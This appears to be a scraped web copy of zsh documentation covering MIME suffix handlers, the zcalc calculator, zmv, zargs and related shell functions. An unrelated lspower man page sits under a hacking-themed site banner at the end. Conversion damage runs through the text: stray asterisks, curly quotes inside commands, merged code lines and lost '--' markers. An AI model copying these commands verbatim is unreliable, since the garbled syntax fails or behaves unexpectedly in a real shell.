The system respects the mailcap flags needsterminal and copiousoutput*; see mailcap(4) or mailcap(5)* (the man page’s name varies across platforms).

The functions use the following styles, which are defined with the zstyle builtin command (see zshmodules(1)). They should be defined before zsh-mime-setup is run. The contexts used all start with :mime:, with additional components in some cases. It is recommended that a trailing * (suitably quoted) be appended to style patterns in case the system is extended in future. Some examples are given below.

For files that have multiple suffixes, e.g. .pdf.gz*, where the* context includes the suffix it will be looked up starting with the longest possible suffix until a match for the style is found. For example, if .pdf.gz produces a match for the handler, that will be used; otherwise the handler for .gz will be used. Note that, owing to the way suffix aliases work, it is always required that there be a handler for the shortest possible suffix, so in this example .pdf.gz can only be handled if .gz is also handled (though not necessarily in the same way). Alternatively, if no handling for .gz on its own is needed, simply adding the command

alias -s gz=zsh-mime-handler

to the initialisation code is sufficient; .gz will not be handled on its own, but may be in combination with other suffixes.

current-shell If this boolean style is true, the mailcap handler for the context in question is run using the eval builtin instead of by starting a new sh process. This is more efficient, but may not work in the occasional cases where the mailcap handler uses strict POSIX syntax.

disown
If this boolean style is true, mailcap handlers started in the background will be disowned, i.e. not subject to job control within the parent shell. Such handlers nearly always produce their own windows, so the only likely harmful side effect of setting the style is that it becomes harder to kill jobs from within the shell.

execute-as-is
This style gives a list of patterns to be matched against files passed for execution with a handler program. If the file matches the pattern, the entire command line is executed in its current form, with no handler. This is useful for files which might have suffixes but nonetheless be executable in their own right. If the style is not set, the pattern *(*) *(/) is used; hence executable files are executed directly and not passed to a handler, and the option AUTO_CD may be used to change to directories that happen to have MIME suffixes.

execute-never
This style is useful in combination with execute-as-is*. It is* set to an array of patterns corresponding to full paths to files that should never be treated as executable, even if the file passed to the MIME handler matches execute-as-is*. This is useful for file* systems that don’t handle execute permission or that contain executables from another operating system. For example, if /mnt/windows is a Windows mount, then

zstyle ‘:mime:’ execute-never ‘/mnt/windows/

will ensure that any files found in that area will be executed as MIME types even if they are executable. As this example shows, the complete file name is matched against the pattern, regardless of how the file was passed to the handler. The file is resolved to a full path using the :P modifier described in the subsection `Modifiers’ in zshexpn(1); this means that symbolic links are resolved where possible, so that links into other file systems behave in the correct fashion.

file-path
Used if the style find-file-in-path is true for the same context. Set to an array of directories that are used for searching for the file to be handled; the default is the command path given by the special parameter path*. The shell option* PATH_DIRS is respected; if that is set, the appropriate path will be searched even if the name of the file to be handled as it appears on the command line contains a `/’. The full context is :mime:.suffix:, as described for the style handler*.*

find-file-in-path
If set, allows files whose names do not contain absolute paths to be searched for in the command path or the path specified by the file-path style. If the file is not found in the path, it is looked for locally (whether or not the current directory is in the path); if it is not found locally, the handler will abort unless the handle-nonexistent style is set. Files found in the path are tested as described for the style execute-as-is*.* The full context is :mime:.suffix:, as described for the style handler*.*

flags
Defines flags to go with a handler; the context is as for the handler style, and the format is as for the flags in mailcap*.*

handle-nonexistent
By default, arguments that don’t correspond to files are not passed to the MIME handler in order to prevent it from intercepting commands found in the path that happen to have suffixes. This style may be set to an array of extended glob patterns for arguments that will be passed to the handler even if they don’t exist. If it is not explicitly set it defaults to [[:alpha:]]#:/* which allows URLs to be passed to the MIME handler even though they don’t exist in that format in the file system. The full context is :mime:.suffix:, as described for the style handler*.*

handler
Specifies a handler for a suffix; the suffix is given by the context as :mime:.suffix:, and the format of the handler is exactly that in mailcap*. Note in particular the `.’ and trailing colon* to distinguish this use of the context. This overrides any handler specified by the mailcap files. If the handler requires a terminal, the flags style should be set to include the word needsterminal*,* or if the output is to be displayed through a pager (but not if the handler is itself a pager), it should include copiousoutput*.*

mailcap
A list of files in the format of ~/.mailcap and /etc/mailcap to be read during setup, replacing the default list which consists of those two files. The context is :mime:. A + in the list will be replaced by the default files.

mailcap-priorities
This style is used to resolve multiple mailcap entries for the same MIME type. It consists of an array of the following elements, in descending order of priority; later entries will be used if earlier entries are unable to resolve the entries being compared. If none of the tests resolve the entries, the first entry encountered is retained.

files The order of files (entries in the mailcap style) read. Earlier files are preferred. (Note this does not resolve entries in the same file.)

priority
The priority flag from the mailcap entry. The priority is an integer from 0 to 9 with the default value being 5.

flags
The test given by the mailcap-prio-flags option is used to resolve entries.

place
Later entries are preferred; as the entries are strictly ordered, this test always succeeds.

Note that as this style is handled during initialisation, the context is always :mime:, with no discrimination by suffix.

mailcap-prio-flags
This style is used when the keyword flags is encountered in the list of tests specified by the mailcap-priorities style. It should be set to a list of patterns, each of which is tested against the flags specified in the mailcap entry (in other words, the sets of assignments found with some entries in the mailcap file). Earlier patterns in the list are preferred to later ones, and matched patterns are preferred to unmatched ones.

mime-types
A list of files in the format of ~/.mime.types and /etc/mime.types to be read during setup, replacing the default list which consists of those two files. The context is :mime:. A + in the list will be replaced by the default files.

never-background
If this boolean style is set, the handler for the given context is always run in the foreground, even if the flags provided in the mailcap entry suggest it need not be (for example, it doesn’t require a terminal).

pager
If set, will be used instead of $PAGER or more to handle suffixes where the copiousoutput flag is set. The context is as for handler*, i.e.* :mime:.suffix: for handling a file with the given suffix.

Examples:

zstyle ‘:mime:*’ mailcap ~/.mailcap /usr/local/etc/mailcap zstyle ‘:mime:.txt:’ handler less %s zstyle ‘:mime:.txt:’ flags needsterminal

When zsh-mime-setup is subsequently run, it will look for mailcap entries in the two files given. Files of suffix .txt will be handled by running `less file.txt’. The flag needsterminal is set to show that this program must run attached to a terminal.

As there are several steps to dispatching a command, the following should be checked if attempting to execute a file by extension **.**ext does not have the expected effect.

The command `alias -s ext’ should show `ps=zsh-mime-handler*’. If it shows something else, another suffix* alias was already installed and was not overwritten. If it shows nothing, no handler was installed: this is most likely because no handler was found in the .mime.types and mailcap combination for .ext files. In that case, appropriate handling should be added to ~/.mime.types and mailcap*.*

If the extension is handled by zsh-mime-handler but the file is not opened correctly, either the handler defined for the type is incorrect, or the flags associated with it are in appropriate. Running zsh-mime-setup -l will show the handler and, if there are any, the flags. A %s in the handler is replaced by the file (suitably quoted if necessary). Check that the handler program listed lists and can be run in the way shown. Also check that the flags needsterminal or copiousoutput are set if the handler needs to be run under a terminal; the second flag is used if the output should be sent to a pager. An example of a suitable mailcap entry for such a program is:

text/html; /usr/bin/lynx ‘%s’; needsterminal

Running `zsh-mime-handler -l command line’ prints the command line that would be executed, simplified to remove the effect of any flags, and quoted so that the output can be run as a complete zsh command line. This is used by the completion system to decide how to complete after a file handled by zsh-mime-setup*.*

pick-web-browser
This function is separate from the two MIME functions described above and can be assigned directly to a suffix:

autoload -U pick-web-browser alias -s html=pick-web-browser

It is provided as an intelligent front end to dispatch a web browser. It may be run as either a function or a shell script. The status 255 is returned if no browser could be started.

Various styles are available to customize the choice of browsers:

browser-style The value of the style is an array giving preferences in decreasing order for the type of browser to use. The values of elements may be

running Use a GUI browser that is already running when an X Window display is available. The browsers listed in the x-browsers style are tried in order until one is found; if it is, the file will be displayed in that browser, so the user may need to check whether it has appeared. If no running browser is found, one is not started. Browsers other than Firefox, Opera and Konqueror are assumed to understand the Mozilla syntax for opening a URL remotely.

x
Start a new GUI browser when an X Window display is available. Search for the availability of one of the browsers listed in the x-browsers style and start the first one that is found. No check is made for an already running browser.

tty
Start a terminal-based browser. Search for the availability of one of the browsers listed in the tty-browsers style and start the first one that is found.

If the style is not set the default running x tty is used.

x-browsers
An array in decreasing order of preference of browsers to use when running under the X Window System. The array consists of the command name under which to start the browser. They are looked up in the context :mime: (which may be extended in future, so appending `*’ is recommended). For example,

zstyle ‘:mime:*’ x-browsers opera konqueror firefox

specifies that pick-web-browser should first look for a running instance of Opera, Konqueror or Firefox, in that order, and if it fails to find any should attempt to start Opera. The default is firefox mozilla netscape opera konqueror*.*

tty-browsers
An array similar to x-browsers*, except that it gives browsers to* use when no X Window display is available. The default is elinks links lynx*.*

command
If it is set this style is used to pick the command used to open a page for a browser. The context is :mime:browser:new:$browser: to start a new browser or :mime:browser:running:$browser: to open a URL in a browser already running on the current X display, where $browser is the value matched in the x-browsers or tty-browsers style. The escape sequence %b in the style’s value will be replaced by the browser, while %u will be replaced by the URL. If the style is not set, the default for all new instances is equivalent to %b %u and the defaults for using running browsers are equivalent to the values kfmclient openURL %u for Konqueror, firefox -new-tab %u for Firefox, opera -newpage %u for Opera, and %b -remote “openUrl(%u)” for all others.

MATHEMATICAL FUNCTIONS

zcalc [ -erf ] [ expression … ] A reasonably powerful calculator based on zsh’s arithmetic evaluation facility. The syntax is similar to that of formulae in most programming languages; see the section `Arithmetic Evaluation’ in zshmisc(1) for details.

Non-programmers should note that, as in many other programming languages, expressions involving only integers (whether constants without a `.’, variables containing such constants as strings, or variables declared to be integers) are by default evaluated using integer arithmetic, which is not how an ordinary desk calculator operates. To force floating point operation, pass the option -f*;* see further notes below.

If the file ~/.zcalcrc exists it will be sourced inside the function once it is set up and about to process the command line. This can be used, for example, to set shell options; emulate -L zsh and setopt extendedglob are in effect at this point. Any failure to source the file if it exists is treated as fatal. As with other initialisation files, the directory $ZDOTDIR is used instead of $HOME if it is set.

The mathematical library zsh/mathfunc will be loaded if it is available; see the section `The zsh/mathfunc Module’ in zshmodules(1). The mathematical functions correspond to the raw system libraries, so trigonometric functions are evaluated using radians, and so on.

Each line typed is evaluated as an expression. The prompt shows a number, which corresponds to a positional parameter where the result of that calculation is stored. For example, the result of the calculation on the line preceded by `4> ’ is available as $4*. The last value* calculated is available as ans*. Full command line editing, including* the history of previous calculations, is available; the history is saved in the file ~/.zcalc_history*. To exit, enter a blank line or type `:q’* on its own (`q*’ is allowed for historical compatibility).*

A line ending with a single backslash is treated in the same fashion as it is in command line editing: the backslash is removed, the function prompts for more input (the prompt is preceded by ` to indicate this), and the lines are combined into one to get the final result. In addition, if the input so far contains more open than close parentheses zcalc will prompt for more input.

If arguments are given to zcalc on start up, they are used to prime the first few positional parameters. A visual indication of this is given when the calculator starts.

The constants PI (3.14159…) and E (2.71828…) are provided. Parameter assignment is possible, but note that all parameters will be put into the global namespace unless the :local special command is used. The function creates local variables whose names start with _, so users should avoid doing so. The variables ans (the last answer) and stack (the stack in RPN mode) may be referred to directly; stack is an array but elements of it are numeric. Various other special variables are used locally with their standard meaning, for example compcontext*,* match*,* mbegin*,* mend*,* psvar*.*

The output base can be initialised by passing the option `-#base’, for example `zcalc -#16’ (the `#**’ may have to be quoted, depending on the globbing options set).

If the option `-e*’ is set, the function runs non-interactively:* the arguments are treated as expressions to be evaluated as if entered interactively line by line.

If the option `-f*’ is set, all numbers are treated as floating* point, hence for example the expression `3/4*’ evaluates to 0.75* rather than 0. Options must appear in separate words.

If the option `-r*’ is set, RPN (Reverse Polish Notation) mode is* entered. This has various additional properties:

Stack Evaluated values are maintained in a stack; this is contained in an array named stack with the most recent value in ${stack[1]}.

Operators and functions
If the line entered matches an operator (+, -, *, /, **, ^, | or &) or a function supplied by the zsh/mathfunc library, the bottom element or elements of the stack are popped to use as the argument or arguments. The higher elements of stack (least recent) are used as earlier arguments. The result is then pushed into ${stack[1]}.

Expressions
Other expressions are evaluated normally, printed, and added to the stack as numeric values. The syntax within expressions on a single line is normal shell arithmetic (not RPN).

Stack listing
If an integer follows the option -r with no space, then on every evaluation that many elements of the stack, where available, are printed instead of just the most recent result. Hence, for example, zcalc -r4 shows $stack[4] to $stack[1] each time results are printed.

Duplication: =
The pseudo-operator = causes the most recent element of the stack to be duplicated onto the stack.

pop
The pseudo-function pop causes the most recent element of the stack to be popped. A `>’ on its own has the same effect.

**>**ident
The expression > followed (with no space) by a shell identifier causes the most recent element of the stack to be popped and assigned to the variable with that name. The variable is local to the zcalc function.

**<**ident
The expression < followed (with no space) by a shell identifier causes the value of the variable with that name to be pushed onto the stack. ident may be an integer, in which case the previous result with that number (as shown before the > in the standard zcalc prompt) is put on the stack.

Exchange: xy
The pseudo-function xy causes the most recent two elements of the stack to be exchanged. `<>’ has the same effect.

The prompt is configurable via the parameter ZCALCPROMPT*, which* undergoes standard prompt expansion. The index of the current entry is stored locally in the first element of the array psvar*, which can be* referred to in ZCALCPROMPT as `%1v*’. The default prompt is* `%1v> ’.

The variable ZCALC_ACTIVE is set within the function and can be tested by nested functions; it has the value rpn if RPN mode is active, else 1.

A few special commands are available; these are introduced by a colon. For backward compatibility, the colon may be omitted for certain commands. Completion is available if compinit has been run.

The output precision may be specified within zcalc by special commands familiar from many calculators.

:norm The default output format. It corresponds to the printf %g specification. Typically this shows six decimal digits.

:sci digits
Scientific notation, corresponding to the printf %g output format with the precision given by digits. This produces either fixed point or exponential notation depending on the value output.

:fix digits
Fixed point notation, corresponding to the printf %f output format with the precision given by digits.

:eng digits
Exponential notation, corresponding to the printf %E output format with the precision given by digits.

:raw
Raw output: this is the default form of the output from a math evaluation. This may show more precision than the number actually possesses.

Other special commands:

**:!line… Execute line… as a normal shell command line. Note that it is executed in the context of the function, i.e. with local variables. Space is optional after :!.

:local arg …
Declare variables local to the function. Other variables may be used, too, but they will be taken from or put into the global scope.

:function name [ body ]
Define a mathematical function or (with no body) delete it. :function may be abbreviated to :func or simply :f*.* The name may contain the same characters as a shell function name. The function is defined using zmathfuncdef*, see below.*

Note that zcalc takes care of all quoting. Hence for example:

:f cube $1 * $1 * $1

defines a function to cube the sole argument. Functions so defined, or indeed any functions defined directly or indirectly using functions -M*, are available to execute by typing only the name on the line in RPN* mode; this pops the appropriate number of arguments off the stack to pass to the function, i.e. 1 in the case of the example cube function. If there are optional arguments only the mandatory arguments are supplied by this means.

[#base]
This is not a special command, rather part of normal arithmetic syntax; however, when this form appears on a line by itself the default output radix is set to base. Use, for example, `[#16]’ to display hexadecimal output preceded by an indication of the base, or `[##16] just to display the raw number in the given base. Bases themselves are always specified in decimal. `[#]’ restores the normal output format. Note that setting an output base suppresses floating point output; use `[#]’ to return to normal operation.

$var
Print out the value of var literally; does not affect the calculation. To use the value of var, omit the leading `
$
’.

See the comments in the function for a few extra tips.

min(arg, …)

max(arg, …)

sum(arg, …)

zmathfunc The function zmathfunc defines the three mathematical functions min*,* max*, and* sum*. The functions* min and max take one or more arguments. The function sum takes zero or more arguments. Arguments can be of different types (ints and floats).

Not to be confused with the zsh/mathfunc module, described in the section `The zsh/mathfunc Module’ in zshmodules(1).

zmathfuncdef [ mathfunc [ body ] ]
A convenient front end to functions -M*.*

With two arguments, define a mathematical function named mathfunc which can be used in any form of arithmetic evaluation. body is a mathematical expression to implement the function. It may contain references to position parameters $1*,* $2*, …* to refer to mandatory parameters and ${1:-defvalue} to refer to optional parameters. Note that the forms must be strictly adhered to for the function to calculate the correct number of arguments. The implementation is held in a shell function named **zsh_math_func_**mathfunc; usually the user will not need to refer to the shell function directly. Any existing function of the same name is silently replaced.

With one argument, remove the mathematical function mathfunc as well as the shell function implementation.

With no arguments, list all mathfunc functions in a form suitable for restoring the definition. The functions have not necessarily been defined by zmathfuncdef*.*

USER CONFIGURATION FUNCTIONS

The zsh/newuser module comes with a function to aid in configuring shell options for new users. If the module is installed, this function can also be run by hand. It is available even if the module’s default behaviour, namely running the function for a new user logging in without startup files, is inhibited.

zsh-newuser-install [ -f ] The function presents the user with various options for customizing their initialization scripts. Currently only ~/.zshrc is handled. $ZDOTDIR/.zshrc is used instead if the parameter ZDOTDIR is set; this provides a way for the user to configure a file without altering an existing .zshrc*.*

By default the function exits immediately if it finds any of the files .zshenv*,* .zprofile*,* .zshrc*, or* .zlogin in the appropriate directory. The option -f is required in order to force the function to continue. Note this may happen even if .zshrc itself does not exist.

As currently configured, the function will exit immediately if the user has root privileges; this behaviour cannot be overridden.

Once activated, the function’s behaviour is supposed to be self-explanatory. Menus are present allowing the user to alter the value of options and parameters. Suggestions for improvements are always welcome.

When the script exits, the user is given the opportunity to save the new file or not; changes are not irreversible until this point. However, the script is careful to restrict changes to the file only to a group marked by the lines `# Lines configured by zsh-newuser-install*’ and* `# End of lines configured by zsh-newuser-install*’. In addition,* the old version of .zshrc is saved to a file with the suffix .zni appended.

If the function edits an existing .zshrc*, it is up to the user* to ensure that the changes made will take effect. For example, if control usually returns early from the existing .zshrc the lines will not be executed; or a later initialization file may override options or parameters, and so on. The function itself does not attempt to detect any such conflicts.

OTHER FUNCTIONS

There are a large number of helpful functions in the Functions/Misc directory of the zsh distribution. Most are very simple and do not require documentation here, but a few are worthy of special mention.

Descriptions

colors This function initializes several associative arrays to map color names to (and from) the ANSI standard eight-color terminal codes. These are used by the prompt theme system (see above). You seldom should need to run colors more than once.

The eight base colors are: black*,* red*,* green*,* yellow*,* blue*,* magenta*,* cyan*, and* white*. Each of these has codes for* foreground and background. In addition there are seven intensity attributes: bold*,* faint*,* standout*,* underline*,* blink*,* reverse*,* and conceal*. Finally, there are seven codes used to negate attributes:* none (reset all attributes to the defaults), normal (neither bold nor faint), no-standout*,* no-underline*,* no-blink*,* no-reverse*, and* no-conceal*.*

Some terminals do not support all combinations of colors and intensities.

The associative arrays are:

color

colour Map all the color names to their integer codes, and integer codes to the color names. The eight base names map to the foreground color codes, as do names prefixed with `fg-’, such as `fg-red’. Names prefixed with `bg-’, such as `bg-blue’, refer to the background codes. The reverse mapping from code to color yields base name for foreground codes and the bg- form for backgrounds.

Although it is a misnomer to call them `colors’, these arrays also map the other fourteen attributes from names to codes and codes to names.

fg

fg_bold

fg_no_bold Map the eight basic color names to ANSI terminal escape sequences that set the corresponding foreground text properties. The fg sequences change the color without changing the eight intensity attributes.

bg

bg_bold

bg_no_bold Map the eight basic color names to ANSI terminal escape sequences that set the corresponding background properties. The bg sequences change the color without changing the eight intensity attributes.

In addition, the scalar parameters reset_color and bold_color are set to the ANSI terminal escapes that turn off all attributes and turn on bold intensity, respectively.

fned [ -x num ] name
Same as zed -f*. This function does not appear in the zsh* distribution, but can be created by linking zed to the name fned in some directory in your fpath*.*

histed [ [ name ] size ]
Same as zed -h*. This function does not appear in the zsh* distribution, but can be created by linking zed to the name histed in some directory in your fpath*.*

is-at-least needed [ present ]
Perform a greater-than-or-equal-to comparison of two strings having the format of a zsh version number; that is, a string of numbers and text with segments separated by dots or dashes. If the present string is not provided, $ZSH_VERSION is used. Segments are paired left-to-right in the two strings with leading non-number parts ignored. If one string has fewer segments than the other, the missing segments are considered zero.

This is useful in startup files to set options and other state that are not available in all versions of zsh.

is-at-least 3.1.6-15 && setopt NO_GLOBAL_RCS is-at-least 3.1.0 && setopt HIST_REDUCE_BLANKS is-at-least 2.6-17 || print “You can’t use is-at-least here.”

nslookup [ arg … ]
This wrapper function for the nslookup command requires the zsh/zpty module (see zshmodules(1)). It behaves exactly like the standard nslookup except that it provides customizable prompts (including a right-side prompt) and completion of nslookup commands, host names, etc. (if you use the function-based completion system). Completion styles may be set with the context prefix `:completion:nslookup*’.*

See also the pager*,* prompt and rprompt styles below.

regexp-replace var regexp replace
Use regular expressions to perform a global search and replace operation on a variable. POSIX extended regular expressions (ERE) are used, unless the option RE_MATCH_PCRE has been set, in which case Perl-compatible regular expressions are used (this requires the shell to be linked against the pcre library).

var is the name of the variable containing the string to be matched. The variable will be modified directly by the function. The variables MATCH*,* MBEGIN*,* MEND*,* match*,* mbegin*,* mend should be avoided as these are used by the regular expression code.

regexp is the regular expression to match against the string.

replace is the replacement text. This can contain parameter, command and arithmetic expressions which will be replaced: in particular, a reference to $MATCH will be replaced by the text matched by the pattern.

The return status is 0 if at least one match was performed, else 1.

Note that if using POSIX EREs, the ^ or word boundary operators (where available) may not work properly.

run-help cmd
This function is designed to be invoked by the run-help ZLE widget, in place of the default alias. See `Accessing On-Line Help’ above for setup instructions.

In the discussion which follows, if cmd is a file system path, it is first reduced to its rightmost component (the file name).

Help is first sought by looking for a file named cmd in the directory named by the HELPDIR parameter. If no file is found, an assistant function, alias, or command named **run-help-**cmd is sought. If found, the assistant is executed with the rest of the current command line (everything after the command name cmd) as its arguments. When neither file nor assistant is found, the external command `man cmd’ is run.

An example assistant for the “ssh” command:

run-help-ssh() { emulate -LR zsh local -a args # Delete the “-l username” option zparseopts -D -E -a args l: # Delete other options, leaving: host command args=(${@:#-*}) if [[ ${#args} -lt 2 ]]; then man ssh else run-help $args[2] fi }

Several of these assistants are provided in the Functions/Misc directory. These must be autoloaded, or placed as executable scripts in your search path, in order to be found and used by run-help*.*

run-help-btrfs

run-help-git

run-help-ip

run-help-openssl

run-help-p4

run-help-sudo

run-help-svk

run-help-svn Assistant functions for the btrfs*,* git*,* ip*,* openssl*,* p4*,* sudo*,* svk*,* and svn*,* commands.

tetris
Zsh was once accused of not being as complete as Emacs, because it lacked a Tetris game. This function was written to refute this vicious slander.

This function must be used as a ZLE widget:

autoload -U tetris zle -N tetris bindkey keys tetris

To start a game, execute the widget by typing the keys. Whatever command line you were editing disappears temporarily, and your keymap is also temporarily replaced by the Tetris control keys. The previous editor state is restored when you quit the game (by pressing `q*’) or when you lose.*

If you quit in the middle of a game, the next invocation of the tetris widget will continue where you left off. If you lost, it will start a new game.

tetriscurses
This is a port of the above to zcurses. The input handling is improved a bit so that moving a block sideways doesn’t automatically advance a timestep, and the graphics use unicode block graphics.

This version does not save the game state between invocations, and is not invoked as a widget, but rather as:

autoload -U tetriscurses tetriscurses

zargs [ option … ] [ input … ] [ command [ arg … ] ]
This function has a similar purpose to GNU xargs. Instead of reading lines of arguments from the standard input, it takes them from the command line. This is useful because zsh, especially with recursive glob operators, often can construct a command line for a shell function that is longer than can be accepted by an external command.

The option list represents options of the zargs command itself, which are the same as those of xargs*. The input list is the* collection of strings (often file names) that become the arguments of the command*, analogous to the standard input of* xargs*. Finally, the* arg list consists of those arguments (usually options) that are passed to the command each time it runs. The arg list precedes the elements from the input list in each run. If no command is provided, then no arg list may be provided, and in that event the default command is `print*’ with arguments `-r –’.*

For example, to get a long ls listing of all non-hidden plain files in the current directory or its subdirectories:

autoload -U zargs zargs – **/*(.) – ls -ld –

The first and third occurrences of `’ are used to mark the end of options for zargs and ls respectively to guard against filenames starting with `-’, while the second is used to separate the list of files from the command to run (`ls -ld –’).

The first `’ would also be needed if there was a chance the list might be empty as in:

zargs -r – ./*.back(#qN) – rm -f

In the event that the string `’ is or may be an input, the -e option may be used to change the end-of-inputs marker. Note that this does not change the end-of-options marker. For example, to use `..’ as the marker:

zargs -e.. – **/*(.) .. ls -ld –

This is a good choice in that example because no plain file can be named `..’, but the best end-marker depends on the circumstances.

The options -i*,* -I*,* -l*,* -L*, and* -n differ slightly from their usage in xargs*. There are no input lines for* zargs to count, so -l and -L count through the input list, and -n counts the number of arguments passed to each execution of command, including any arg list. Also, any time -i or -I is used, each input is processed separately as if by `-L 1*’.*

For details of the other zargs options, see the xargs(1) man page (but note the difference in function between zargs and xargs*) or run* zargs with the –help option.

zed [ -f [ -x num ] ] name

zed [ -h [ name ] size ]

zed -b This function uses the ZLE editor to edit a file or function.

Only one name argument is allowed. If the -f option is given, the name is taken to be that of a function; if the function is marked for autoloading, zed searches for it in the fpath and loads it. Note that functions edited this way are installed into the current shell, but not written back to the autoload file. In this case the -x option specifies that leading tabs indenting the function according to syntax should be converted into the given number of spaces; `-x 2*’ is consistent with the layout* of functions distributed with the shell.

Without -f*, name is the path name of the file to edit, which need* not exist; it is created on write, if necessary. With -h*, the file is* presumed to contain history events.

When no file name is provided for -h the current shell history is edited in place. The history is renumbered when zed exits successfully.

When editing history, multi-line events must have a trailing backslash on every line before the last.

While editing, the function sets the main keymap to zed and the vi command keymap to zed-vicmd*. These will be copied from the existing* main and vicmd keymaps if they do not exist the first time zed is run. They can be used to provide special key bindings used only in zed.

If it creates the keymap, zed rebinds the return key to insert a line break and `^X^W*’ to accept the edit in the* zed keymap, and binds `ZZ*’ to accept the edit in the* zed-vicmd keymap.

The bindings alone can be installed by running `zed -b*’. This is* suitable for putting into a startup file. Note that, if rerun, this will overwrite the existing zed and zed-vicmd keymaps.

Completion is available, and styles may be set with the context prefix `:completion:zed:’.

A zle widget zed-set-file-name is available. This can be called by name from within zed using `x zed-set-file-name*’ or can be* bound to a key in either of the zed or zed-vicmd keymaps after `zed -b*’ has been run. When the widget is called, it prompts for* a new name for the file being edited. When zed exits the file will be written under that name and the original file will be left alone. The widget has no effect when invoked from `zed -f*’. The completion* context is changed to `:completion:zed-set-file-name:’. When editing the current history with `zed -h*’, the history is first updated and* then the file is written, but the global setting of HISTFILE is not altered.

While zed-set-file-name is running, zed uses the keymap zed-normal-keymap*, which is linked from the main keymap in effect* at the time zed initialised its bindings. (This is to make the return key operate normally.) The result is that if the main keymap has been changed, the widget won’t notice. This is not a concern for most users.

zcp [ -finqQvwW ] srcpat dest

zln [ -finqQsvwW ] srcpat dest Same as zmv -C and zmv -L*, respectively. These functions do not* appear in the zsh distribution, but can be created by linking zmv to the names zcp and zln in some directory in your fpath*.*

zkbd
See `Keyboard Definition’ above.

zmv [ -finqQsvwW ] [ -C | -L | -M | -{p|P} program ] [ -o optstring ]

srcpat dest Move (usually, rename) files matching the pattern srcpat to corresponding files having names of the form given by dest, where srcpat contains parentheses surrounding patterns which will be replaced in turn by $1*,* $2*, … in dest. For example,*

zmv ‘(*).lis’ ‘$1.txt’

renames `foo.lis*’ to `foo.txt’, `my.old.stuff.lis’ to* `my.old.stuff.txt*’, and so on.*

The pattern is always treated as an EXTENDED_GLOB pattern. Any file whose name is not changed by the substitution is simply ignored. Any error (a substitution resulted in an empty string, two substitutions gave the same result, the destination was an existing regular file and -f was not given) causes the entire function to abort without doing anything.

In addition to pattern replacement, the variable $f can be referred to in the second (replacement) argument. This makes it possible to use variable substitution to alter the argument; see examples below.

Options:

-f
Force overwriting of destination files. Not currently passed down to the mv*/cp/*ln command due to vagaries of implementations (but you can use -o-f to do that).

-i
Interactive: show each line to be executed and ask the user whether to execute it. `Y*’ or `y’ will execute it, anything else will* skip it. Note that you just need to type one character.

-n
No execution: print what would happen, but don’t do it.

-q
Turn bare glob qualifiers off: now assumed by default, so this has no effect.

-Q
Force bare glob qualifiers on. Don’t turn this on unless you are actually using glob qualifiers in a pattern.

-s
Symbolic, passed down to ln*; only works with* -L*.*

-v
Verbose: print each command as it’s being executed.

-w
Pick out wildcard parts of the pattern, as described above, and implicitly add parentheses for referring to them.

-W
Just like -w*, with the addition of turning wildcards in* the replacement pattern into sequential ${1} .. ${N} references.

-C
-L
-M
Force cp*,* ln or mv*, respectively, regardless of* the name of the function.

-p program
Call program instead of cp*,* ln or mv*. Whatever it does, it should at least understand the form* `program oldname newname’ where oldname and newname are filenames generated by zmv*.* program will be split into words, so might be e.g. the name of an archive tool plus a copy or rename subcommand.

-P program
As -p program, except that program does not accept a following to indicate the end of options. In this case filenames must already be in a sane form for the program in question.

-o optstring
The optstring is split into words and passed down verbatim to the cp*,* ln or mv command called to perform the work. It should probably begin with a `-’.

Further examples:

zmv -v ‘(* *)’ ‘${1// /_}’

For any file in the current directory with at least one space in the name, replace every space by an underscore and display the commands executed.

zmv -v ‘* *’ ‘${f// /_}’

This does exactly the same by referring to the file name stored in $f*.*

For more complete examples and other implementation details, see the zmv source file, usually located in one of the directories named in your fpath*, or in* Functions/Misc/zmv in the zsh distribution.

zrecompile
See `Recompiling Functions’ above.

zstyle+ context style value [ + subcontext style value … ]
This makes defining styles a bit simpler by using a single `+’ as a special token that allows you to append a context name to the previously used context name. Like this:

zstyle+ ‘:foo:bar’ style1 value1 \ +’:baz’ style2 value2 \ +’:frob’ style3 value3

This defines style1 with value1 for the context :foo:bar as usual, but it also defines style2 with value2 for the context :foo:bar:baz and style3 with value3 for :foo:bar:frob*. Any* subcontext may be the empty string to re-use the first context unchanged.

Styles

insert-tab The zed function sets this style in context `:completion:zed:* to turn off completion when TAB is typed at the beginning of a line. You may override this by setting your own value for this context and style.

pager
The nslookup function looks up this style in the context `:nslookup*’ to determine the program used to display output that does* not fit on a single screen.

prompt

rprompt The nslookup function looks up this style in the context `:nslookup*’ to set the prompt and the right-side prompt, respectively.* The usual expansions for the PS1 and RPS1 parameters may be used (see EXPANSION OF PROMPT SEQUENCES in zshmisc(1)).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

943 - Linux cli command lspower

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lspower and provides detailed information about the command lspower, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lspower.

NAME 🖥️ lspower 🖥️

enumerate power sources

SYNOPSIS

lspower

DESCRIPTION

This program displays power sources available on this machine, and their status.

The status is given as an icon:


a power source that’s not present or somehow disabled


a power source that’s not an (apparent) battery, that is working ok

+
a battery that’s currently charging


a battery that’s full or otherwise not charging

-
a battery that’s giving off its stored power

If the charge level is known, it is displayed as well. So are abnormal conditions such as overheating.

CAVEATS

The output is meant only for human consumption, and is not supposed to be screen-scraped. For a program, it’s much easier to read data from the kernel directly (/sys/class/power_supply/*).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

